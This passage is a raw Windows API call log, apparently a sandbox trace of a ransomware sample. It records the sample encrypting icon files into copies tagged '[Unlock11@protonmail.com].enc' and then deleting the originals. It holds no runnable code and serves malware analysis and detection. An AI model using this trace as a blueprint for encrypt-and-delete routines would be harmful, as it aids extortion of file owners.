dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0115.612] GetFileType (hFile=0x39c) returned 0x1 [0115.612] GetLastError () returned 0x0 [0115.612] GetCurrentThreadId () returned 0x9b0 [0115.612] GetLastError () returned 0x0 [0115.612] GetFileType (hFile=0x39c) returned 0x1 [0115.612] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0115.613] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0115.613] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0115.613] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0115.613] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0115.613] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0115.613] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0115.613] GetLastError () returned 0x0 [0115.613] GetCurrentThreadId () returned 0x9b0 [0115.613] GetLastError () returned 0x0 [0115.613] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6a58 | out: hHeap=0x2ad0000) returned 1 [0115.613] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20258 | out: hHeap=0x2ad0000) returned 1 [0115.613] GetLastError () returned 0x0 [0115.613] GetLastError () returned 0x0 [0115.614] GetLastError () returned 0x0 [0115.614] GetLastError () returned 0x0 [0115.614] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0115.614] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6a88 [0115.614] GetLastError () returned 0x0 [0115.614] CreateFileA (lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico.[Unlock11@protonmail.com].enc" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0115.614] GetFileType (hFile=0x3ac) returned 0x1 [0115.614] GetLastError () returned 0x0 [0115.615] GetCurrentThreadId () returned 0x9b0 [0115.615] GetLastError () returned 0x0 [0115.615] GetFileType (hFile=0x3ac) returned 0x1 [0115.615] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0115.615] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0115.615] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0115.615] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0115.615] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0115.615] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0115.615] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0115.615] GetLastError () returned 0x0 [0115.615] GetCurrentThreadId () returned 0x9b0 [0115.615] GetLastError () returned 0x0 [0115.616] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6a88 | out: hHeap=0x2ad0000) returned 1 [0115.616] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dbad0 | out: hHeap=0x2ad0000) returned 1 [0115.616] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0115.616] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0115.616] GetLastError () returned 0x0 [0115.616] GetLastError () returned 0x0 [0115.616] GetCurrentThreadId () returned 0x9b0 [0115.616] GetLastError () returned 0x0 [0115.616] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0115.616] GetLastError () returned 0x0 [0115.616] GetLastError () returned 0x0 [0115.617] GetCurrentThreadId () returned 0x9b0 [0115.617] GetLastError () returned 0x0 [0115.617] GetLastError () returned 0x0 [0115.618] GetLastError () returned 0x0 [0115.618] GetCurrentThreadId () returned 0x9b0 [0115.618] GetLastError () returned 0x0 [0115.619] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0x27ab) returned 0x35c5908 [0115.619] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0x27b5) returned 0x35c5908 [0115.619] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6b78 [0115.619] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6a78 | out: hHeap=0x2ad0000) returned 1 [0115.619] GetCurrentThreadId () returned 0x9b0 [0115.619] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x27b8) returned 0x388ba20 [0115.619] GetLastError () returned 0x0 [0115.619] GetLastError () returned 0x0 [0115.619] GetLastError () returned 0x0 [0115.619] GetLastError () returned 0x0 [0115.619] GetCurrentThreadId () returned 0x9b0 [0115.620] GetLastError () returned 0x0 [0115.620] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x388ba20 | out: hHeap=0x2ad0000) returned 1 [0115.620] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881270 [0115.620] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0115.620] GetLastError () returned 0x0 [0115.621] GetLastError () returned 0x0 [0115.621] GetCurrentThreadId () returned 0x9b0 [0115.621] GetLastError () returned 0x0 [0115.621] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x388e1e0 | out: hHeap=0x2ad0000) returned 1 [0115.621] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0115.621] GetLastError () returned 0x0 [0115.622] GetLastError () returned 0x0 [0115.622] GetCurrentThreadId () returned 0x9b0 [0115.622] GetLastError () returned 0x0 [0115.622] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0115.622] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0115.622] GetLastError () returned 0x0 [0115.622] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0115.622] CloseHandle (hObject=0x3ac) returned 1 [0115.622] GetLastError () returned 0x0 [0115.623] GetCurrentThreadId () returned 0x9b0 [0115.623] GetLastError () returned 0x0 [0115.623] GetLastError () returned 0x0 [0115.623] CloseHandle (hObject=0x39c) returned 1 [0115.623] GetLastError () returned 0x0 [0115.623] GetCurrentThreadId () returned 0x9b0 [0115.623] GetLastError () returned 0x0 [0115.623] GetLastError () returned 0x0 [0115.623] GetLastError () returned 0x0 [0115.623] GetLastError () returned 0x0 [0115.623] GetLastError () returned 0x0 [0115.623] DeleteFileA (lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico")) returned 1 [0115.624] GetLastError () returned 0x0 [0115.625] GetCurrentThreadId () returned 0x9b0 [0115.625] GetLastError () returned 0x0 [0115.625] GetCurrentThreadId () returned 0x9b0 [0115.625] GetLastError () returned 0x0 [0115.625] GetLastError () returned 0x0 [0115.625] GetLastError () returned 0x0 [0115.625] GetLastError () returned 0x0 [0115.625] GetFullPathNameA (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico", lpFilePart=0x9bada4*="SysReqMet.ico") returned 0x2c [0115.625] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262de8 [0115.625] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262de8 | out: hHeap=0x2ad0000) returned 1 [0115.625] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0115.625] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0115.626] GetCurrentThreadId () returned 0x9b0 [0115.626] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea660 [0115.626] GetLastError () returned 0x0 [0115.626] GetLastError () returned 0x0 [0115.626] GetLastError () returned 0x0 [0115.626] GetLastError () returned 0x0 [0115.626] GetCurrentThreadId () returned 0x9b0 [0115.626] GetLastError () returned 0x0 [0115.626] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea660 | out: hHeap=0x2ad0000) returned 1 [0115.626] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea7f0 [0115.626] GetLastError () returned 0x0 [0115.627] GetLastError () returned 0x0 [0115.627] GetLastError () returned 0x0 [0115.627] GetLastError () returned 0x0 [0115.627] GetCurrentThreadId () returned 0x9b0 [0115.627] GetLastError () returned 0x0 [0115.627] GetCurrentThreadId () returned 0x9b0 [0115.627] GetLastError () returned 0x0 [0115.627] GetLastError () returned 0x0 [0115.627] GetLastError () returned 0x0 [0115.627] GetLastError () returned 0x0 [0115.627] GetCurrentThreadId () returned 0x9b0 [0115.627] GetLastError () returned 0x0 [0115.628] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea7f0 | out: hHeap=0x2ad0000) returned 1 [0115.628] GetLastError () returned 0x0 [0115.628] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d64b0 | out: hHeap=0x2ad0000) returned 1 [0115.628] GetLastError () returned 0x0 [0115.628] GetLastError () returned 0x0 [0115.628] GetLastError () returned 0x0 [0115.628] GetCurrentThreadId () returned 0x9b0 [0115.628] GetLastError () returned 0x0 [0115.628] GetLastError () returned 0x0 [0115.628] GetLastError () returned 0x0 [0115.628] GetLastError () returned 0x0 [0115.629] GetLastError () returned 0x0 [0115.629] GetCurrentThreadId () returned 0x9b0 [0115.629] GetLastError () returned 0x0 [0115.629] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a5a8 | out: hHeap=0x2ad0000) returned 1 [0115.629] GetCurrentThreadId () returned 0x9b0 [0115.629] GetLastError () returned 0x0 [0115.629] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6528 | out: hHeap=0x2ad0000) returned 1 [0115.629] GetLastError () returned 0x0 [0115.629] GetLastError () returned 0x0 [0115.629] GetLastError () returned 0x0 [0115.629] GetCurrentThreadId () returned 0x9b0 [0115.629] GetLastError () returned 0x0 [0115.630] GetLastError () returned 0x0 [0115.630] GetLastError () returned 0x0 [0115.630] GetLastError () returned 0x0 [0115.630] GetLastError () returned 0x0 [0115.630] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881090 | out: hHeap=0x2ad0000) returned 1 [0115.630] GetFileAttributesExA (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e)) returned 1 [0115.630] GetLastError () returned 0x0 [0115.630] GetCurrentThreadId () returned 0x9b0 [0115.630] GetLastError () returned 0x0 [0115.630] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0115.631] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664e94 | out: pbBuffer=0x3664e94) returned 1 [0115.631] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0115.631] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34ac7c0 [0115.631] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622818 | out: hHeap=0x2ad0000) returned 1 [0115.631] GetCurrentThreadId () returned 0x9b0 [0115.631] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea638 [0115.631] GetLastError () returned 0x0 [0115.631] GetLastError () returned 0x0 [0115.631] GetLastError () returned 0x0 [0115.631] GetLastError () returned 0x0 [0115.631] GetCurrentThreadId () returned 0x9b0 [0115.631] GetLastError () returned 0x0 [0115.632] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea638 | out: hHeap=0x2ad0000) returned 1 [0115.632] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea7f0 [0115.632] GetCurrentThreadId () returned 0x9b0 [0115.632] GetLastError () returned 0x0 [0115.632] GetLastError () returned 0x0 [0115.632] GetLastError () returned 0x0 [0115.632] GetLastError () returned 0x0 [0115.632] GetCurrentThreadId () returned 0x9b0 [0115.632] GetLastError () returned 0x0 [0115.632] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea7f0 | out: hHeap=0x2ad0000) returned 1 [0115.632] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33f6a78 [0115.633] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34ac7c0 | out: hHeap=0x2ad0000) returned 1 [0115.633] GetLastError () returned 0x0 [0115.633] GetLastError () returned 0x0 [0115.633] GetLastError () returned 0x0 [0115.633] CreateFileA (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0115.633] GetFileType (hFile=0x39c) returned 0x1 [0115.633] GetCurrentThreadId () returned 0x9b0 [0115.633] GetFileType (hFile=0x39c) returned 0x1 [0115.633] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0115.634] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0115.634] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0115.634] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0115.634] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0115.634] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0115.634] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0115.634] GetCurrentThreadId () returned 0x9b0 [0115.634] CreateFileA (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico.[Unlock11@protonmail.com].enc" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0115.635] GetFileType (hFile=0x3ac) returned 0x1 [0115.635] GetCurrentThreadId () returned 0x9b0 [0115.635] GetFileType (hFile=0x3ac) returned 0x1 [0115.636] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0115.636] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0115.636] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0115.636] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0115.636] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0115.636] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0115.636] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0115.636] GetCurrentThreadId () returned 0x9b0 [0115.636] GetCurrentThreadId () returned 0x9b0 [0115.636] GetCurrentThreadId () returned 0x9b0 [0115.643] GetCurrentThreadId () returned 0x9b0 [0115.643] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0x493) returned 0x35c5908 [0115.643] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0x495) returned 0x35c5908 [0115.644] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6ba8 [0115.644] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6a78 | out: hHeap=0x2ad0000) returned 1 [0115.644] GetCurrentThreadId () returned 0x9b0 [0115.644] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x498) returned 0x33f2338 [0115.644] GetCurrentThreadId () returned 0x9b0 [0115.644] GetCurrentThreadId () returned 0x9b0 [0115.644] GetCurrentThreadId () returned 0x9b0 [0115.645] CloseHandle (hObject=0x3ac) returned 1 [0115.645] GetLastError () returned 0x0 [0115.645] GetCurrentThreadId () returned 0x9b0 [0115.645] GetLastError () returned 0x0 [0115.646] GetLastError () returned 0x0 [0115.646] CloseHandle (hObject=0x39c) returned 1 [0115.646] GetLastError () returned 0x0 [0115.646] GetCurrentThreadId () returned 0x9b0 [0115.646] GetLastError () returned 0x0 [0115.646] GetLastError () returned 0x0 [0115.646] GetLastError () returned 0x0 [0115.646] GetLastError () returned 0x0 [0115.646] GetLastError () returned 0x0 [0115.646] DeleteFileA (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico")) returned 1 [0115.647] GetLastError () returned 0x0 [0115.647] GetCurrentThreadId () returned 0x9b0 [0115.648] GetLastError () returned 0x0 [0115.648] GetCurrentThreadId () returned 0x9b0 [0115.648] GetLastError () returned 0x0 [0115.648] GetLastError () returned 0x0 [0115.648] GetLastError () returned 0x0 [0115.648] GetLastError () returned 0x0 [0115.648] GetFullPathNameA (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico", lpFilePart=0x9bada4*="SysReqNotMet.ico") returned 0x2f [0115.648] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0115.648] GetCurrentThreadId () returned 0x9b0 [0115.648] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0115.648] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0115.649] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0115.649] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea6d8 [0115.649] GetLastError () returned 0x0 [0115.649] GetLastError () returned 0x0 [0115.649] GetLastError () returned 0x0 [0115.649] GetLastError () returned 0x0 [0115.649] GetCurrentThreadId () returned 0x9b0 [0115.649] GetLastError () returned 0x0 [0115.650] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea6d8 | out: hHeap=0x2ad0000) returned 1 [0115.650] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea598 [0115.650] GetCurrentThreadId () returned 0x9b0 [0115.650] GetLastError () returned 0x0 [0115.650] GetLastError () returned 0x0 [0115.650] GetLastError () returned 0x0 [0115.650] GetLastError () returned 0x0 [0115.650] GetCurrentThreadId () returned 0x9b0 [0115.650] GetLastError () returned 0x0 [0115.650] GetLastError () returned 0x0 [0115.650] GetLastError () returned 0x0 [0115.650] GetLastError () returned 0x0 [0115.651] GetLastError () returned 0x0 [0115.651] GetCurrentThreadId () returned 0x9b0 [0115.651] GetLastError () returned 0x0 [0115.651] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea598 | out: hHeap=0x2ad0000) returned 1 [0115.651] GetLastError () returned 0x0 [0115.651] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6348 | out: hHeap=0x2ad0000) returned 1 [0115.651] GetLastError () returned 0x0 [0115.651] GetLastError () returned 0x0 [0115.651] GetLastError () returned 0x0 [0115.651] GetCurrentThreadId () returned 0x9b0 [0115.651] GetLastError () returned 0x0 [0115.652] GetCurrentThreadId () returned 0x9b0 [0115.652] GetLastError () returned 0x0 [0115.652] GetLastError () returned 0x0 [0115.652] GetLastError () returned 0x0 [0115.652] GetLastError () returned 0x0 [0115.652] GetCurrentThreadId () returned 0x9b0 [0115.652] GetLastError () returned 0x0 [0115.652] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a728 | out: hHeap=0x2ad0000) returned 1 [0115.652] GetLastError () returned 0x0 [0115.652] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d63c0 | out: hHeap=0x2ad0000) returned 1 [0115.652] GetLastError () returned 0x0 [0115.652] GetLastError () returned 0x0 [0115.653] GetLastError () returned 0x0 [0115.653] GetCurrentThreadId () returned 0x9b0 [0115.653] GetLastError () returned 0x0 [0115.653] GetLastError () returned 0x0 [0115.653] GetLastError () returned 0x0 [0115.653] GetLastError () returned 0x0 [0115.653] GetLastError () returned 0x0 [0115.653] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0115.653] GetFileAttributesExA (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e)) returned 1 [0115.653] GetLastError () returned 0x0 [0115.654] GetCurrentThreadId () returned 0x9b0 [0115.654] GetLastError () returned 0x0 [0115.654] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263088 | out: hHeap=0x2ad0000) returned 1 [0115.654] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36680d4 | out: pbBuffer=0x36680d4) returned 1 [0115.654] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622a70 [0115.654] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34ac7c0 [0115.654] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622a70 | out: hHeap=0x2ad0000) returned 1 [0115.654] GetCurrentThreadId () returned 0x9b0 [0115.654] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea7f0 [0115.654] GetLastError () returned 0x0 [0115.654] GetLastError () returned 0x0 [0115.654] GetLastError () returned 0x0 [0115.655] GetLastError () returned 0x0 [0115.655] GetCurrentThreadId () returned 0x9b0 [0115.655] GetLastError () returned 0x0 [0115.655] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea7f0 | out: hHeap=0x2ad0000) returned 1 [0115.655] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea638 [0115.655] GetCurrentThreadId () returned 0x9b0 [0115.655] GetLastError () returned 0x0 [0115.655] GetLastError () returned 0x0 [0115.655] GetLastError () returned 0x0 [0115.655] GetLastError () returned 0x0 [0115.655] GetCurrentThreadId () returned 0x9b0 [0115.656] GetLastError () returned 0x0 [0115.656] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea638 | out: hHeap=0x2ad0000) returned 1 [0115.656] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33f6a18 [0115.656] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34ac7c0 | out: hHeap=0x2ad0000) returned 1 [0115.656] GetLastError () returned 0x0 [0115.656] GetLastError () returned 0x0 [0115.656] GetLastError () returned 0x0 [0115.656] GetLastError () returned 0x0 [0115.656] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881000 | out: hHeap=0x2ad0000) returned 1 [0115.656] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6bb8 [0115.656] GetLastError () returned 0x0 [0115.656] CreateFileA (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0115.657] GetFileType (hFile=0x39c) returned 0x1 [0115.657] GetLastError () returned 0x0 [0115.657] GetCurrentThreadId () returned 0x9b0 [0115.657] GetLastError () returned 0x0 [0115.657] GetFileType (hFile=0x39c) returned 0x1 [0115.657] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0115.657] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0115.657] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0115.657] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0115.657] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0115.657] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0115.658] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0115.658] GetLastError () returned 0x0 [0115.658] GetCurrentThreadId () returned 0x9b0 [0115.658] GetLastError () returned 0x0 